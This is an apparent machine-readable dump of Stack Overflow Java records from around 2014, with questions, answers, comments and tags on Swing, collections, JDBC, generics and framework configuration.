has text: To expound what Hugo Sousa wrote a little, my reading of the instructions is not that you need to make it impossible to enter a number outside the range 0-50, but that you should choose a number (-1 for instance) which the user is to enter in order to signify that they wish to terminate the program.
score: 0

http://stackoverflow.com/q/22292505
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33869397
tagged with: swing
has comment: http://stackoverflow.com/comment/33869343
has answer: http://stackoverflow.com/a/22292834
has body: Here is my code. import java.awt.*; import java.awt.event.*; public class Finals extends Frame implements WindowListener,ActionListener{ public TextField tf1; public Button btn0,btn1,btn2,btn3,btn4,btn5,btn6,btn7,btn8,btn9,btnadd,btnminus,btndivide,btnmultiply,btnequals,btnbackspace; public Finals(){ Panel outputpanel = new Panel(new FlowLayout()); tf1 = new TextField(" ",30); outputpanel.add(tf1); Panel btnpanel = new Panel(new GridLayout (5,5)); btn0 = new Button ("0"); btn1 = new Button ("1"); btn2 = new Button ("2"); btn3 = new Button ("3"); btn4 = new Button ("4"); btn5 = new Button ("5"); btn6 = new Button ("6"); btn7 = new Button ("7"); btn8 = new Button ("8"); btn9 = new Button ("9"); btnadd= new Button("+"); btnminus = new Button("-"); btndivide = new Button ("/"); btnmultiply = new Button ("*"); btnequals = new Button ("="); btnbackspace= new Button("&lt;-"); btnpanel.add(btnadd); btnpanel.add(btnminus); btnpanel.add(btndivide); btnpanel.add(btnmultiply); btnpanel.add(btnequals); btnpanel.add(btnbackspace); btnpanel.add(btn1); btnpanel.add(btn2); btnpanel.add(btn3); btnpanel.add(btn4); btnpanel.add(btn5); btnpanel.add(btn6); btnpanel.add(btn7); btnpanel.add(btn8); btnpanel.add(btn9); btnpanel.add(btn0); setLayout(new BorderLayout()); add(outputpanel,BorderLayout.NORTH); add(btnpanel,BorderLayout.SOUTH); setVisible (true); setSize (300,200); setTitle("Calculator"); setLocationRelativeTo(null); setResizable(false); addWindowListener(this); } public static void mainr(String[]args){ Finals awt = new Finals(); } public void windowClosing(WindowEvent we){ System.exit(0); } public void windowClosed(WindowEvent we){}; public void windowOpened(WindowEvent we){}; public void windowIconified(WindowEvent we){}; public void windowDeiconified(WindowEvent we){}; public void windowActivated(WindowEvent we){}; public void windowDeactivated(WindowEvent we){}; }
linked to: http://stackoverflow.com/q/6255106
tagged with: actionlistener
tagged with: java
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/22292829
linked to: http://stackoverflow.com/q/22003802
tagged with: awt
has title: ActionListener gets an error it says(Finals is not abstract and does not override abstract method)
score: 0
has comment: http://stackoverflow.com/comment/33924066

http://stackoverflow.com/a/22343674
has comment: http://stackoverflow.com/comment/73009198
answers question: http://stackoverflow.com/q/22327168
upvote count: 1
has comment: http://stackoverflow.com/comment/73029704
has comment: http://stackoverflow.com/comment/33965240
score: 1
has comment: http://stackoverflow.com/comment/33965083
has body: You are right it should work as you have described it and I'm sure that in case of SSM annotations (@ReadThrough*, @Update*, @Invalidate*) it works in that way. I see that for Spring Cache annotations the behavior is different . I'll try to fix it today. If you don't mind could you please create an issue for this bug on github SSM page.
downvote count: 0
has comment: http://stackoverflow.com/comment/34065902
type: Answer

http://stackoverflow.com/q/22314009
has answer: http://stackoverflow.com/a/22314036
linked to: http://stackoverflow.com/q/14154127
has comment: http://stackoverflow.com/comment/33907759
tagged with: java
has comment: http://stackoverflow.com/comment/33907685
has title: How to sort ArrayList using Comparator?
has comment: http://stackoverflow.com/comment/33907700
tagged with: comparator
linked to: http://stackoverflow.com/q/2784514
type: AnsweredQuestion
downvote count: 0
tagged with: sorting
accepted answer: http://stackoverflow.com/a/22314036
duplicate of: http://stackoverflow.com/q/2784514
favorite count: 0
score: 13
tagged with: arraylist
possible better answer: http://stackoverflow.com/a/22314033
type: Question
has comment: http://stackoverflow.com/comment/33907704
has comment: http://stackoverflow.com/comment/33907726
has answer: http://stackoverflow.com/a/22314033
has body: I have a Class Student that Implements a static method public static Comparator&lt;Student&gt; getCompByName() that returns a new comparator object for Student that compares 2 Students objects by the attribute 'name'. I need to now test this by sorting a students ArrayList by 'name' using my function getCompByName(). Here is my Comparator method in my Student class. public static Comparator&lt;Student&gt; getCompByName() { Comparator comp = new Comparator&lt;Student&gt;(){ @Override public int compare(Student s1, Student s2) { return s1.name.compareTo(s2.name); } }; return comp; } And Main where I need to test public static void main(String[] args) { // TODO code application logic here //--------Student Class Test------------------------------------------- ArrayList&lt;Student&gt; students = new ArrayList(); Student s1 = new Student("Mike"); Student s2 = new Student("Hector"); Student s3 = new Student("Reggie"); Student s4 = new Student("zark"); students.add(s1); students.add(s2); students.add(s3); students.add(S4); //Use getCompByName() from Student class to sort students Can anyone show me how I would use the getCompByName() in my main to actually sort the ArrayList by name? Im new to comparators and having a hard time with their usages. The method returns a comparator, so Im not sure how this will be implemented. I know I need to use getCompByName() to sort, im just not sure how to implement it.
upvote count: 13
answer count: 2
tagged with: collections

http://stackoverflow.com/comment/33699365
type: Comment
has text: The problem here is that the column headers do not get the event
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22197297

http://stackoverflow.com/a/22185053
has comment: http://stackoverflow.com/comment/33675442
type: Answer
has comment: http://stackoverflow.com/comment/33715232
score: 2
answers question: http://stackoverflow.com/q/22184448
downvote count: 0
has comment: http://stackoverflow.com/comment/33675945
has comment: http://stackoverflow.com/comment/33696090
accepted answer of: http://stackoverflow.com/q/22184448
has body: A simple solution might be to create a JLabel and set its icon property to the background image... Icon icon = ...; JLabel background = new JLabel(icon); Set the label's layout manager to something like GridBagLayout... background.setLayout(new GridBagLayout()); Set the GridBagConstraints insets so that the text pane will be offset within the contain... GridBagConstraints gbc = new GridBagConstraints(); gbc.insets = new Insets(40, 40, 40, 40); gbc.fill = GridBagConstraints.BOTH; gbc.weightx = 1; gbc.weighty = 1; And then simply add the JTextPane to the label... JTextPane textPane = ...; background.add(textPane, gbc); You can then either add the JLabel to the what ever container you want or even set it as the JFrame's content pane depending on your needs. ps- You'll need to make the text pane transparent... For example... import java.awt.Color; import java.awt.EventQueue; import java.awt.GridBagConstraints; import java.awt.GridBagLayout; import java.awt.Insets; import java.io.File; import java.io.IOException; import javax.imageio.ImageIO; import javax.swing.ImageIcon; import javax.swing.JFrame; import javax.swing.JLabel; import javax.swing.JTextPane; import javax.swing.UIManager; import javax.swing.UnsupportedLookAndFeelException; import javax.swing.text.BadLocationException; import javax.swing.text.Style; import javax.swing.text.StyleConstants; import javax.swing.text.StyledDocument; public class TextPaneWrapped { public static void main(String[] args) { new TextPaneWrapped(); } public TextPaneWrapped() { EventQueue.invokeLater(new Runnable() { @Override public void run() { try { UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName()); } catch (ClassNotFoundException | InstantiationException | IllegalAccessException | UnsupportedLookAndFeelException ex) { } try { JLabel background = new JLabel( new ImageIcon( ImageIO.read( new File("background.jpg")))); background.setLayout(new GridBagLayout()); JTextPane textPane = new JTextPane(); textPane.setOpaque(fa…
has comment: http://stackoverflow.com/comment/33696853
has comment: http://stackoverflow.com/comment/33694861
upvote count: 2
has comment: http://stackoverflow.com/comment/33675698
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33698600

http://stackoverflow.com/comment/33690810
type: Comment
has text: Do you find any references to Java when you get the 'path' variable at the command line: c:> echo %path%
type: QuestionComment
comment on: http://stackoverflow.com/q/22191986
score: 0

http://stackoverflow.com/q/22223673
tagged with: java
answer count: 3
has body: I am expecting a ConcurrentModificationException in the follow code, but it's working fine. HashMap&lt;Integer, String&gt;table1 = new HashMap&lt;Integer, String&gt;(); table1.put(1, "Sam"); table1.put(2, "Jon"); table1.put(3, "Doe"); Iterator itr1 = table1.entrySet().iterator(); table1.put(3, "DONN"); while(itr1.hasNext()) { System.out.println("---Value--" + itr1.next()); } As per the JavaDoc for HashMap: The iterators returned by all of this class's "collection view methods" are fail-fast: if the map is structurally modified at any time after the iterator is created, in any way except through the iterator's own remove method, the iterator will throw a ConcurrentModificationException. So since I am modifying the HashMap after getting the Iterator I should be getting the ConcurrentModificationException. Why is it not throwing?
tagged with: iterator
tagged with: hashmap
downvote count: 0
possible better answer: http://stackoverflow.com/a/22223778
has answer: http://stackoverflow.com/a/22223778
type: AnsweredQuestion
score: 3
favorite count: 0
has answer: http://stackoverflow.com/a/22223899
type: Question
has title: Clarification @ConcurrentModificationException in HashMap
has comment: http://stackoverflow.com/comment/33743565
accepted answer: http://stackoverflow.com/a/22223899
has answer: http://stackoverflow.com/a/22223895
upvote count: 3

http://stackoverflow.com/q/22284277
answer count: 0
tagged with: uuid
tagged with: java
has comment: http://stackoverflow.com/comment/33899859
type: Question
has comment: http://stackoverflow.com/comment/33854030
tagged with: guid
score: 0
has body: what are the Open source Frameworks to generate globally identifiable id for Table primary key before persist? For example Google Appengine's KeyFactory to generate Key
has comment: http://stackoverflow.com/comment/33855183
has comment: http://stackoverflow.com/comment/33854027
type: UnansweredQuestion
has title: Frameworks to generate UUID key for Hibernate Persistence?
duplicate of: http://stackoverflow.com/q/6356834
linked to: http://stackoverflow.com/q/6356834

http://stackoverflow.com/q/22218247
score: 3
has answer: http://stackoverflow.com/a/22218465
tagged with: generics
favorite count: 0
has answer: http://stackoverflow.com/a/22218391
upvote count: 3
linked to: http://stackoverflow.com/q/6452313
has answer: http://stackoverflow.com/a/22218355
possible better answer: http://stackoverflow.com/a/22218391
type: AnsweredQuestion
tagged with: java
has title: In convertible cast, casting from T to double
type: Question
has body: I want to create generic method for getting maximal value from the array. However I got stuck at the problem of conversion between T to type Math.max method uses. here is my code: First I cannot initialize the maxValue like: T maxVaue = 0; secondly I cannot use data[i] in Math.max, in both cases I got error of In convertible cast. class Matrix&lt;T&gt;{ public T getMaxValue(T[] data){ T maxValue; for (int i=0; i&lt;data.length; i++){ maxValue = Math.max(data[i], maxValue); } return maxValue; } }
downvote count: 0
accepted answer: http://stackoverflow.com/a/22218355
answer count: 3

http://stackoverflow.com/comment/33914913
has text: Hello I have edited the post and have given my android code now.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/22317881
type: Comment

http://stackoverflow.com/a/22307293
has comment: http://stackoverflow.com/comment/33896950
accepted answer of: http://stackoverflow.com/q/22306779
has comment: http://stackoverflow.com/comment/33896069
has comment: http://stackoverflow.com/comment/33897352
has comment: http://stackoverflow.com/comment/33897446
answers question: http://stackoverflow.com/q/22306779
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33896227
score: 0
has comment: http://stackoverflow.com/comment/33897173
type: Answer
has comment: http://stackoverflow.com/comment/33896000
has comment: http://stackoverflow.com/comment/33896378
has comment: http://stackoverflow.com/comment/33896463
has body: You're almost there. All you have to do, is change the code so that you're copying pixels[row][column] to the new array factor times // make sure factor is not 0 before you do this for (int col = 0; col &lt; pixels[0].length; col++) { for(int i=0; i&lt;factor; i++) { pixelStretch[row][col*factor+i] = pixels[row][col]; } }

http://stackoverflow.com/q/22206487
has answer: http://stackoverflow.com/a/22209687
has comment: http://stackoverflow.com/comment/33713247
has comment: http://stackoverflow.com/comment/33713254
tagged with: jvm
favorite count: 0
linked to: http://stackoverflow.com/q/12989825
has comment: http://stackoverflow.com/comment/33713144
has comment: http://stackoverflow.com/comment/33713785
has body: I am trying to compare JVM Bytecode and Java as programming languages. Can you think of any example Bytecode class that could not be rewritten in Java, not even when using lots of (Java-) Boilerplate code? Maybe any construct that other JVM languages like Scala use? [Edit] I am not talking about a comparison of instructions or the possibility to create a certain algorithm. Let me rephrase the question: "Could there be any 'pattern' that another JVM language could use but Java doesn't?". [/Edit] [Edit2] Maybe it's easier if I explain what this question really is about. I am working with a source code transformation system, and asked myself the question if there is any pattern or construct that might be useful but cannot be added to a Java class just by transforming plain Java code but requires modification of the Bytecode itself. [/Edit2]
type: AnsweredQuestion
score: 3
possible better answer: http://stackoverflow.com/a/22209687
downvote count: 0
has title: JVM: Example of Bytecode construct that cannot be built using plain Java?
accepted answer: http://stackoverflow.com/a/22207228
tagged with: java
has comment: http://stackoverflow.com/comment/33713105
type: Question
has answer: http://stackoverflow.com/a/22207228
has comment: http://stackoverflow.com/comment/33713381
has comment: http://stackoverflow.com/comment/33713260
has comment: http://stackoverflow.com/comment/33714142
upvote count: 3
answer count: 2

http://stackoverflow.com/comment/33887674
type: QuestionComment
comment on: http://stackoverflow.com/q/22300097
score: 0
has text: Avoid index based gets, instead use for each loops - for (Vehicle vehicle : uwiMotors) - as implementation of `List` like `LinkedList` will scan the list repeatedly during a for (int i...) type of iteration
type: Comment

http://stackoverflow.com/q/22326043
upvote count: 1
tagged with: web-services
has answer: http://stackoverflow.com/a/22326291
downvote count: 1
has answer: http://stackoverflow.com/a/22326137
tagged with: java
tagged with: http://stackoverflow.com/tag/json
has body: I am new in web service development. Currently I am developing an application (in html5 using javascript and jquery) in which I wanted to send data to web service in Json format. My question are: 1) How to send(post) data to web service using javascript ? 2) How to retrieve json data at server side ? 3) How to get data from the web service in json format ? 4) How to retrieve json data at client side ?
type: Question
linked to: http://stackoverflow.com/q/19424313
tagged with: javascript
tagged with: jquery
score: 0
answer count: 3
has title: Json based webservice in java and client in javascript
has answer: http://stackoverflow.com/a/22326174
favorite count: 0
has comment: http://stackoverflow.com/comment/33928267
type: UnansweredQuestion

http://stackoverflow.com/comment/34185740
has text: I see. Can you please tell me Where can I place the call for that method?
score: 0
comment on: http://stackoverflow.com/a/22436147
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/33922179
type: Comment
type: QuestionComment
has text: I understood your question as the LDAPS call going from servlet to LDAP server. If you're originating the call in your applet, I think @shazin has a very valid point.
comment on: http://stackoverflow.com/q/22322362
score: 0

http://stackoverflow.com/comment/33853042
score: 3
has text: Interceptor is used in EJB only, so it will not work on servlets.
comment on: http://stackoverflow.com/q/22283782
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22322093
downvote count: 1
has answer: http://stackoverflow.com/a/22322401
has comment: http://stackoverflow.com/comment/33921495
has answer: http://stackoverflow.com/a/22322393
type: Question
has comment: http://stackoverflow.com/comment/33921247
tagged with: java
score: -1
has comment: http://stackoverflow.com/comment/33923151
tagged with: for-loop
answer count: 3
has comment: http://stackoverflow.com/comment/33921739
upvote count: 0
has comment: http://stackoverflow.com/comment/33922610
accepted answer: http://stackoverflow.com/a/22322401
tagged with: string
favorite count: 0
has answer: http://stackoverflow.com/a/22324293
tagged with: while-loop
has comment: http://stackoverflow.com/comment/33922891
has comment: http://stackoverflow.com/comment/33921216
has body: So I have this script: class input { public static void main (String[] args){ String hexa; hexa = "68101005200B10034D201A10162014100D17060520100F06200E101306200409020D0D060F0806200A0F201A101613200B1016130F061A4F2075090A1420100F06201802142007020A130D1A200602141A20151020041302040C4F207802140F4815200A156020525359200C061A14200A1420022012160A150620140E020D0D200C061A14110204064D201410200A1520140910160D050F481520090217062015020C060F201A101620151010200D100F0820151020050604131A11152015090A14200E0614140208064F2078060D0D2005100F064D201A1016132014100D16150A100F200A14200F050311030210130A0D10074F"; int pituus; pituus = hexa.length(); int i = 1; char luku; char luku2; int asc; String pari; String koodi; StringBuilder sb2 = new StringBuilder(); StringBuilder sb = new StringBuilder(); StringBuilder ASCII = new StringBuilder(); for(int a = 0;a &lt;30;a++){ if (a &gt; 0){ hexa = sb.toString(); }while(i &lt; pituus){ luku = hexa.charAt(i); luku2 = hexa.charAt (i-1); luku++; if(luku == 'G'){ luku = '0'; luku2++; } else if(luku == ':') luku = 'A'; if (luku2 == '8') luku2 = '0'; sb2.append(luku2); sb2.append(luku); pari = sb2.toString(); sb2.setLength(0); asc = Integer.parseInt(pari,16); ASCII.append((char)asc); sb.append(luku2); sb.append(luku); i+=2; } koodi = ASCII.toString(); System.out.printf("All hex pair values increased by: %d\n%s\n======================\n%s\n",a+1,hexa,koodi); } } } EDIT2: Now on this version hexa is right before program steps, to while-loop. Inside while loop, program uses old value of hexa. Why is that and how to "update" the while-loop?
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33921041
has title: Changes to string still in effect after loop ends in Java
tagged with: loops
possible better answer: http://stackoverflow.com/a/22322393

http://stackoverflow.com/q/22252450
favorite count: 0
accepted answer: http://stackoverflow.com/a/22252684
has answer: http://stackoverflow.com/a/22252594
score: 5
possible better answer: http://stackoverflow.com/a/22252497
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22252497
upvote count: 5
tagged with: java
type: Question
has body: I have to implement an array that takes its elements from a random generator. Whenever the array reaches it's last element a method resize() will be called to increase the size of the array. In my code every thing goes alight until invoking resize() method, it does not do any effect on the size of the array. It supposed to increase the size of the array to allow more elements to be entered. for (int j=0; j&lt;arr.length-1; j++) { random= generator.nextInt(arr.length*4) ; arr[j]=random; } if(arr_size==arr.length){ resize(arr); for (int h=0; h&lt;(arr.length-1)*2; h++) { random= generator.nextInt(arr.length*4) ; arr[h]=random;} } Here is resize(): private static void resize(int[] arr) { int[] tmp = new int[2*arr.length]; System.arraycopy(arr,0,tmp,0,arr.length); arr = tmp; }
has answer: http://stackoverflow.com/a/22252667
has answer: http://stackoverflow.com/a/22252684
has title: How to double the size of an array
tagged with: arrays
downvote count: 0
tagged with: resize
tagged with: random
answer count: 4

http://stackoverflow.com/comment/33741078
comment on: http://stackoverflow.com/q/22221839
score: 0
type: Comment
type: QuestionComment
has text: Actually, the problem is that the client connection is not properly closed, so he gets a connection reset exception on the server.

http://stackoverflow.com/q/22284099
tagged with: off-by-one
has answer: http://stackoverflow.com/a/22284491
has body: I've got 2 for loops, one nested inside of another. They loop through a 2D array of buttons to get the source of each button thats been clicked using the action listener. When the button is found I pass the position/array indexs of the button to an external method. However when the button is found from the array of buttons the first for loop evaluates its termination condition to FALSE but still increments the value of i. Leading to an off by one error. My code is in the standard action performed method, with "event" being the ActionEvent. buttons[][] is a JButton array defined as an instance variable. It is of size 10 x 10 and is already added to the panel. int i = 0; //this will loop through the columns in the array int j = 0; //loop through the rows boolean locatedSource = false; //allows me to escape both loops for(i = 0; !(locatedSource) &amp;&amp; i &lt; buttons.length; i++) //problem here, when i &lt; buttons.length is FALSE i still gets incremented, leading to an off by one error { for(j = 0; !(locatedSource) &amp;&amp; j &lt; buttons.length; j++) { if(event.getSource() == buttons[i][j]) { locatedSource = true; break; } } } //do stuff with i and j in another method. Leads to array out of bounds error / off by one error } I should of mentioned, I'm not looking to solve this problem with the use of labels, they seem to be discouraged.
type: AnsweredQuestion
tagged with: java
has title: Nested For loop incrementing after termination
accepted answer: http://stackoverflow.com/a/22284491
type: Question
tagged with: for-loop
tagged with: arrays
has answer: http://stackoverflow.com/a/22284159
has answer: http://stackoverflow.com/a/22284156
has answer: http://stackoverflow.com/a/22284419
score: 0
tagged with: break
possible better answer: http://stackoverflow.com/a/22284156
answer count: 4

http://stackoverflow.com/a/22210067
score: 0
has comment: http://stackoverflow.com/comment/33720520
type: Answer
answers question: http://stackoverflow.com/q/22209968
has body: Add your JPanel to a JScrollPane and add the JScrollPane to the container you were originally adding your JPanel to. Make sure to setPreferredSize to a size large enough to see all of your drawings whenever you draw a new shape or however you are doing your graphics.

http://stackoverflow.com/a/22290899
score: 2
has comment: http://stackoverflow.com/comment/33866262
downvote count: 0
has body: Don't use static modifier for class fields that need to be different for each instance. The static modifier makes the field a class field, one that is effectively shared by all instances, and this is not what you want. So change this: protected static int x, y; to this: protected int x, y;
upvote count: 2
type: Answer
answers question: http://stackoverflow.com/q/22290880

ondraw
type: Tag
tags question: http://stackoverflow.com/q/22207722
tag name: ondraw
tags question: http://stackoverflow.com/q/22179385

http://stackoverflow.com/a/22202057
score: 0
has body: Check these steps in order : 1) Is your file name and your class name is same ? 2) If you work on command line write javac yourfilename.java 3) Then java yourfilename
answers question: http://stackoverflow.com/q/22201803
type: Answer

http://stackoverflow.com/a/22305459
has body: I've needed to split a report over several sheets primarily for Excel-export. It seems to be working while previewing on JasperServer also: add report property net.sf.jasperreports.export.xls.one.page.per.sheet set to true add property net.sf.jasperreports.export.xls.break.after.row set to true the the textfield you need a page break after (there's a similar one to break before) Also you may name your sheets. Please see here: http://jasperreports.sourceforge.net/config.reference.html#net.sf.jasperreports.export.xls.one.page.per.sheet
score: 0
answers question: http://stackoverflow.com/q/22303290
type: Answer

http://stackoverflow.com/q/22321897
answer count: 3
has comment: http://stackoverflow.com/comment/33920706
has answer: http://stackoverflow.com/a/22321925
has body: Would anyone explain me why I can't write something like this: public class TestService { new myService().move(); }
favorite count: 0
has answer: http://stackoverflow.com/a/22321941
has title: Cannot instantiate and call method on this instance oneliner
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22321925
tagged with: java
has comment: http://stackoverflow.com/comment/33920702
possible better answer: http://stackoverflow.com/a/22321970
upvote count: 1
downvote count: 1
has answer: http://stackoverflow.com/a/22321970
type: Question
score: 0

http://stackoverflow.com/a/22223831
score: 2
downvote count: 0
type: Answer
upvote count: 2
answers question: http://stackoverflow.com/q/22223426
has body: This answer won't correspond to your question, but will give a hint to my comment under your question post. Try this at the beginning of your while loop: Use String.IndexOf() to find the first occurence of the char : into each line. This will be the beginning index for the second part. Call String.Substring() from your new beginning index to line.length. This will give you the line without the characters and your first numbers aren't lost.

relative-path
type: Tag
tag name: relative-path
tags question: http://stackoverflow.com/q/22242927

http://stackoverflow.com/q/22268744
tagged with: android
tagged with: java
tagged with: eclipse
has body: I was writing my eclipse android (java based) program to read the sensors values on a device , so I am creating a hash map with different sensors I have , but I can't find ultrasonic sensor sensorTypes.put(Sensor.TYPE_GYROSCOPE, "Type_Gyroscope"); there are a lot of other sensors but I can't find ultrasonic ? Can you please help me Thanks
type: Question
has comment: http://stackoverflow.com/comment/33825686
has comment: http://stackoverflow.com/comment/33826060
score: 0
has title: Eclipse android programming with ultrasonic sensor
tagged with: android-sensors
answer count: 0
type: UnansweredQuestion

http://stackoverflow.com/a/22319836
type: Answer
has comment: http://stackoverflow.com/comment/33917547
downvote count: 1
upvote count: 7
has comment: http://stackoverflow.com/comment/33922837
answers question: http://stackoverflow.com/q/22319669
has body: int n = 10; int m = 5; String[][] arrayOfArrays = new String[n][]; for(int i=0;i&lt;n;i++) { arrayOfArrays[i] = new String[m]; }
score: 6

http://stackoverflow.com/q/22317316
type: AnsweredQuestion
tagged with: jt400
type: Question
has answer: http://stackoverflow.com/a/22473237
tagged with: audit-logging
possible better answer: http://stackoverflow.com/a/22473237
has answer: http://stackoverflow.com/a/22326895
score: 0
answer count: 2
has body: I'm working on an application that logs every business transaction to an audit trail, and I have a requirement to be able to correlate events in this audit trail with records in the Journal of an IBM System i (AS400) that is used as an RDBMS by that application. Any idea how can this be achieved? I was thinking if there is a way for the application to pass some sort of business transaction ID to the database and have it stored with it's corresponding journal entries. Is this possible?
tagged with: java
tagged with: jtopen
tagged with: ibm-midrange
accepted answer: http://stackoverflow.com/a/22326895
has title: Linking Application Audit Trail with DB Logs

http://stackoverflow.com/comment/33842660
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22277945
has text: As I said above, ensure that the PacakageManager is granting you the permission during dexopt.

http://stackoverflow.com/comment/33899073
has text: @Youngistan - `main` most certainly can be recursive!!
score: 0
comment on: http://stackoverflow.com/q/22309224
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33827120
type: AnswerComment
comment on: http://stackoverflow.com/a/22266549
score: 0
type: Comment
has text: I believe my applicationContext is started somewhere else. However, tried your suggestion - does not work. I'll put the update to my problem now.

http://stackoverflow.com/q/22238634
has answer: http://stackoverflow.com/a/22256789
type: UnansweredQuestion
has title: Struts 1 how to access an object's getter based on a variable
tagged with: java
has body: I have a list that tells me the getters to access for all objects in my form. As I iterate through the list, how can I convert that variable into the getter to call on the object? I'm trying to do something like the following but this is not correct as this is looking for getGetter on myObject. &lt;c:forEach var="myObject" items="${myForm.objects}"&gt; &lt;c:forEach var="getter" items="${myForm.getters}"&gt; &lt;html:text property="${myObject.getter}"/&gt; &lt;/c:forEach&gt; &lt;/c:forEach&gt; The reason I'm doing this is because I have a list of flex attributes for my object. I may only have a subset of the flex attributes defined. So the nested loop is iterating over the list of defined flex attributes. I'm not showing it here but in my code, I get the associated getter to call for the flex attribute.
tagged with: struts1
type: Question
score: 0
tagged with: jstl
answer count: 1
tagged with: jsp

http://stackoverflow.com/a/35886488
score: 0
type: Answer
answers question: http://stackoverflow.com/q/22312329
has body: i got it resolved. please check the credentialAccessor's credentials value and pgp set of keys got imported. easy way is to debug the org.mule.module.pgp.KeyBasedEncryptionStrategy on method private PGPCryptInfo safeGetCryptInfo(Object cryptInfo) line PGPPublicKey publicKey = keyManager.getPublicKey((String) this.getCredentialsAccessor().getCredentials(event)); will give you the keys and their credentials from both flow and keys that you imported as well.

http://stackoverflow.com/q/22183052
has body: First I'm sorry about my English, I'm new on Java programing and I'm trying to get result values from DB. class to another class on jdbc derby this is my code: package myjavaproject; import java.sql.*; public class Db { private static String dbURL = "jdbc:derby://localhost:1527/hotels;create=true"; private static String tableName = "users"; // jdbc Connection private static Connection conn = null; private static Statement stmt = null; public String data = null; public static void main(String[] args) { createConnection(); shutdown(); } private static void createConnection() { try { Class.forName("org.apache.derby.jdbc.ClientDriver").newInstance(); //Get a connection conn = DriverManager.getConnection(dbURL); } catch (Exception except) { except.printStackTrace(); } } public static String selectUsers() { try { stmt = conn.createStatement(); ResultSet results = stmt.executeQuery("select * from " + tableName); Results name = new Results(); if(results.next()){ name.setName(results.getString("name")); String rs = results.getString("name"); //return rs; } results.close(); stmt.close(); } catch (SQLException sqlExcept) { sqlExcept.printStackTrace(); } return null; } private static void shutdown() { try { if (stmt != null) { stmt.close(); } if (conn != null) { DriverManager.getConnection(dbURL + ";shutdown=true"); conn.close(); } } catch (SQLException sqlExcept) { } } }
tagged with: derby
score: 0
answer count: 1
tagged with: jdbc
has comment: http://stackoverflow.com/comment/33671565
has comment: http://stackoverflow.com/comment/33671298
tagged with: connection
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33671423
has answer: http://stackoverflow.com/a/22183374
has title: return results array from class to other class java
tagged with: java
type: Question
has comment: http://stackoverflow.com/comment/33671480
tagged with: database

http://stackoverflow.com/comment/33879631
type: Comment
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/22287318
has text: No clue, I don't work with Java. I'd imagine something like this: http://stackoverflow.com/questions/8120220/how-to-use-parameters-with-httppost

http://stackoverflow.com/comment/33874719
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22259478
has text: what about `maxIdle`? From the docs, I don't succeed in understanding its role respect to `maxActive`.
score: 0

http://stackoverflow.com/a/22225601
has comment: http://stackoverflow.com/comment/93518001
downvote count: 0
has body: You can use Text.addModifyListener to add a ModifyListener which will be called each time the text is changed. You can also use Text.addVerifyListener to add VerifyListener which can actually prevent text being entered. For TitleAreaDialog you can call setMessage or setErrorMessage to display a message in the title area. You can disable the OK button on the dialog using: getButton(IDialogConstants.OK_ID).setEnabled(false); Note: getButton(xxx) can return null if you call it too early in the dialog construction. Buttons are created during the createContents method after the createDialogArea method has been called. So you can access the buttons by overriding createContents like this: @Override protected Control createContents(final Composite parent) { Control control = super.createContents(parent); // TODO access buttons here return control; }
type: Answer
upvote count: 3
has comment: http://stackoverflow.com/comment/93518343
score: 3
accepted answer of: http://stackoverflow.com/q/22224525
answers question: http://stackoverflow.com/q/22224525
has comment: http://stackoverflow.com/comment/93525236
has comment: http://stackoverflow.com/comment/33746927
type: AcceptedAnswer

http://stackoverflow.com/comment/33911945
type: AnswerComment
comment on: http://stackoverflow.com/a/22315662
type: Comment
has text: Updated though I don't understand why `sessionVars.myHashMap` did not work. What Mule version is this?
score: 0

http://stackoverflow.com/q/22274416
score: 4
has title: Exceptions silently swallowed in play framework
upvote count: 4
tagged with: playframework
downvote count: 0
favorite count: 0
tagged with: exception
type: UnansweredQuestion
tagged with: logging
has body: I encountered a problem with logging exceptions using play framework. Suppose, we have some runnable class RunnableClass, that can be initialized in Global class and can be executed in Executor service. public class Global extends GlobalSettings { @Override public void beforeStart(Application app) { Runnable runnableClass = new RunnableClass(); runnableClass.setSmth(new Smth()); ScheduledExecutorService scheduledExecutorService = Executors.newScheduledThreadPool(10); scheduledExecutorService.scheduleAtFixedRate(runnableClass, 0, 1, TimeUnit.MINUTES); } } Suppose, we need to operate with Smth class in run() method of RunnableClass. private class RunnableClass implements Runnable { private Smth smth; public void setSmth(Smth smth) { this.smth = smth; } @Override public void run() { smth.doSomething(); } } But for some reason we will not get here NullPointerExcception or any else exception. Obviously, that stack trace of this exception will be logged at least to console, but i see nothing either in console, nor in application.log file. My version of play - 2.2.1, sbt launcher version - 0.13.0, application.conf file - default. I tried next link: http://www.playframework.com/documentation/2.0.x/SettingsLogger
answer count: 0
tagged with: java
type: Question

http://stackoverflow.com/a/22318578
score: 0
answers question: http://stackoverflow.com/q/22318372
type: Answer
has body: import java.util.UUID; String uuid = UUID.randomUUID().toString(); String sessionId = "b03c0-000-5h6-" + uuid.substring(0,4) + "-000000000"; to be more random: String uuid = UUID.randomUUID().toString().replaceAll("-", ""); int n = (int) (Math.random() * 28); String sessionId = "b03c0-000-5h6-" + uuid.substring(n,n+4) + "-000000000";

http://stackoverflow.com/a/22251820
has comment: http://stackoverflow.com/comment/33935891
has comment: http://stackoverflow.com/comment/33936119
has comment: http://stackoverflow.com/comment/33936825
has comment: http://stackoverflow.com/comment/33912641
score: 0
type: Answer
answers question: http://stackoverflow.com/q/22244460
has body: If there is no db at start up the war will not be loaded into tomcat at all. So you will get default 404 error pages at that point. There are errors thrown to the log in this case but not much else. So your users are hosting their own instances of their app it sounds like, what I like to do is expose a health page. The health page can be at a known URL and in the case of no db you will get a 404 but you can document that any non 200 status code is an error and provide info on how to fix. Also if you are automating deployment this check is great for reporting status of the deployment.

swingworker
tags question: http://stackoverflow.com/q/22227866
tags question: http://stackoverflow.com/q/22190480
